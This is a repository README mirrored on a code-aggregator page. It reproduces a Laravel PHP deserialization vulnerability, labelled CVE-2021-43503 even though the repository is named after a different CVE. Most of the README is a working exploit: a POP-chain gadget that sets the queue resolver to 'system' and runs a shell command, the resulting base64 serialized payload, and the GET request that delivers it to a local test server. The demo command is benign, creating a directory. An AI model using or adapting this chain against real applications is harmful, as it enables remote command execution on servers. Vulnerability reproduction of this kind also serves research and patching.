Git Product home page Git Product logo

cve-2022-30778's Introduction

Override

This is Abount CVE-2021-43503.

Requirement

  • PHP >= 8.0
  • Composer

Recover vulnerability

  1. Startup service

    composer install
    cp .env.example .env
    php artisan key:generate
    php artisan serve # it will listening 8000 port in localhost
  2. encode POP chain

    <?php
    namespace Illuminate\Contracts\Queue{
        interface ShouldQueue
        {
            //
        }
    }
    
    namespace Illuminate\Bus{
        class Dispatcher{
            protected $container;
            protected $pipeline;
            protected $pipes = [];
            protected $handlers = [];
            protected $queueResolver;
            function __construct()
            {
                $this->queueResolver = "system";
    
            }
        }
    }
    
    namespace Illuminate\Broadcasting{
    
        use Illuminate\Contracts\Queue\ShouldQueue;
    
        class BroadcastEvent implements ShouldQueue {
            function __construct()
            {
    
            }
        }
    
        class PendingBroadcast{
            protected $events;
            protected $event;
            function __construct()
            {
                $this->event = new BroadcastEvent();
                $this->event->connection = "mkdir hello";
                $this->events = new \Illuminate\Bus\Dispatcher();
            }
        }
    }
    namespace{
        $a = new \Illuminate\Broadcasting\PendingBroadcast();
        echo base64_encode(serialize($a));
    }

    It will be output above:

    Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjU6e3M6MTI6IgAqAGNvbnRhaW5lciI7TjtzOjExOiIAKgBwaXBlbGluZSI7TjtzOjg6IgAqAHBpcGVzIjthOjA6e31zOjExOiIAKgBoYW5kbGVycyI7YTowOnt9czoxNjoiACoAcXVldWVSZXNvbHZlciI7czo2OiJzeXN0ZW0iO31zOjg6IgAqAGV2ZW50IjtPOjM4OiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xCcm9hZGNhc3RFdmVudCI6MTp7czoxMDoiY29ubmVjdGlvbiI7czoxMToibWtkaXIgaGVsbG8iO319
    
  3. Test from GET of HTTP:

    Access the http://localhost:8000/?ser=Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjU6e3M6MTI6IgAqAGNvbnRhaW5lciI7TjtzOjExOiIAKgBwaXBlbGluZSI7TjtzOjg6IgAqAHBpcGVzIjthOjA6e31zOjExOiIAKgBoYW5kbGVycyI7YTowOnt9czoxNjoiACoAcXVldWVSZXNvbHZlciI7czo2OiJzeXN0ZW0iO31zOjg6IgAqAGV2ZW50IjtPOjM4OiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xCcm9hZGNhc3RFdmVudCI6MTp7czoxMDoiY29ubmVjdGlvbiI7czoxMToibWtkaXIgaGVsbG8iO319 through the browser.

    Access exp case

    It did successfully create hello/ in public/

cve-2022-30778's People

Contributors

kang8 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.